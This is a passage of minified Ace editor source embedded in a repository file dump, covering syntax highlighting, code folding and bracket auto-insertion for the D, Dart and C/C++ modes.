\\>\\\\>|\\\\!|\\\\!\\\\=|\\\\!\\\\<\\\\>|\\\\!\\\\<\\\\>\\\\=|\\\\!\\\\<|\\\\!\\\\<\\\\=|\\\\!\\\\>|\\\\!\\\\>\\\\=|\\\\?|\\\\$|\\\\=|\\\\=\\\\=|\\\\*|\\\\*\\\\=|%|%\\\\=|\\\\^|\\\\^\\\\=|\\\\^\\\\^|\\\\^\\\\^\\\\=|~|~\\\\=|\\\\=\\\\>|#\",f=this.$keywords=this.createKeywordMapper({\"keyword.modifier\":r,\"keyword.control\":t,\"keyword.type\":n,keyword:e,\"keyword.storage\":s,punctation:\"\\\\.|\\\\,|;|\\\\.\\\\.|\\\\.\\\\.\\\\.\",\"keyword.operator\":a,\"constant.language\":u},\"identifier\"),l=\"[a-zA-Z_\\u00a1-\\uffff][a-zA-Z\\\\d_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"star-comment\"},{token:\"comment.shebang\",regex:\"^s*#!.*\"},{token:\"comment\",regex:\"\\\\/\\\\+\",next:\"plus-comment\"},{onMatch:function(e,t,n){return n.unshift(this.next,e.substr(2)),\"string\"},regex:'q\"(?:[\\\\[\\\\(\\\\{\\\\<]+)',next:\"operator-heredoc-string\"},{onMatch:function(e,t,n){return n.unshift(this.next,e.substr(2)),\"string\"},regex:'q\"(?:[a-zA-Z_]+)$',next:\"identifier-heredoc-string\"},{token:\"string\",regex:'[xr]?\"',next:\"quote-string\"},{token:\"string\",regex:\"[xr]?`\",next:\"backtick-string\"},{token:\"string\",regex:\"[xr]?['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?['][cdw]?\"},{token:[\"keyword\",\"text\",\"paren.lparen\"],regex:/(asm)(\\s*)({)/,next:\"d-asm\"},{token:[\"keyword\",\"text\",\"paren.lparen\",\"constant.language\"],regex:\"(__traits)(\\\\s*)(\\\\()(\"+l+\")\"},{token:[\"keyword\",\"text\",\"variable.module\"],regex:\"(import|module)(\\\\s+)((?:\"+l+\"\\\\.?)*)\"},{token:[\"keyword.storage\",\"text\",\"entity.name.type\"],regex:\"(\"+s+\")(\\\\s*)(\"+l+\")\"},{token:[\"keyword\",\"text\",\"variable.storage\",\"text\"],regex:\"(alias|typedef)(\\\\s*)(\"+l+\")(\\\\s*)\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F_]+(l|ul|u|f|F|L|U|UL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d[\\\\d_]*(?:(?:\\\\.[\\\\d_]*)?(?:[eE][+-]?[\\\\d_]+)?)?(l|ul|u|f|F|L|U|UL)?\\\\b\"},{token:\"entity.other.attribute-name\",regex:\"@\"+l},{token:f,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:a},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.|\\\\:\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],\"star-comment\":[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\"}],\"plus-comment\":[{token:\"comment\",regex:\"\\\\+\\\\/\",next:\"start\"},{defaultToken:\"comment\"}],\"quote-string\":[o,{token:\"string\",regex:'\"[cdw]?',next:\"start\"},{defaultToken:\"string\"}],\"backtick-string\":[o,{token:\"string\",regex:\"`[cdw]?\",next:\"start\"},{defaultToken:\"string\"}],\"operator-heredoc-string\":[{onMatch:function(e,t,n){e=e.substring(e.length-2,e.length-1);var r={\">\":\"<\",\"]\":\"[\",\")\":\"(\",\"}\":\"{\"};return Object.keys(r).indexOf(e)!=-1&&(e=r[e]),e!=n[1]?\"string\":(n.shift(),n.shift(),\"string\")},regex:'(?:[\\\\]\\\\)}>]+)\"',next:\"start\"},{token:\"string\",regex:\"[^\\\\]\\\\)}>]+\"}],\"identifier-heredoc-string\":[{onMatch:function(e,t,n){return e=e.substring(0,e.length-1),e!=n[1]?\"string\":(n.shift(),n.shift(),\"string\")},regex:'^(?:[A-Za-z_][a-zA-Z0-9]+)\"',next:\"start\"},{token:\"string\",regex:\"[^\\\\]\\\\)}>]+\"}],\"d-asm\":[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"start\"},{token:\"keyword.instruction\",regex:\"[a-zA-Z]+\",next:\"d-asm-instruction\"},{token:\"text\",regex:\"\\\\s+\"}],\"d-asm-instruction\":[{token:\"constant.language\",regex:/AL|AH|AX|EAX|BL|BH|BX|EBX|CL|CH|CX|ECX|DL|DH|DX|EDX|BP|EBP|SP|ESP|DI|EDI|SI|ESI/i},{token:\"identifier\",regex:\"[a-zA-Z]+\"},{token:\"string\",regex:'\".*\"'},{token:\"comment\",regex:\"//.*$\"},{token:\"constant.numeric\",regex:\"[0-9.xA-F]+\"},{token:\"punctuation.operator\",regex:\"\\\\,\"},{token:\"punctuation.operator\",regex:\";\",next:\"d-asm\"},{token:\"text\",regex:\"\\\\s+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};o.metaData={comment:\"D language\",fileTypes:[\"d\",\"di\"],firstLineMatch:\"^#!.*\\\\b[glr]?dmd\\\\b.\",foldingStartMarker:\"(?x)/\\\\*\\\\*(?!\\\\*)|^(?![^{]*?//|[^{]*?/\\\\*(?!.*?\\\\*/.*?\\\\{)).*?\\\\{\\\\s*($|//|/\\\\*(?!.*?\\\\*/.*\\\\S))\",foldingStopMarker:\"(?<!\\\\*)\\\\*\\\\*/|^\\\\s*\\\\}\",keyEquivalent:\"^~D\",name:\"D\",scopeName:\"source.d\"},r.inherits(o,s),t.DHighlightRules=o}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/d\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/d_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./d_highlight_rules\").DHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/d\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-dart.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var 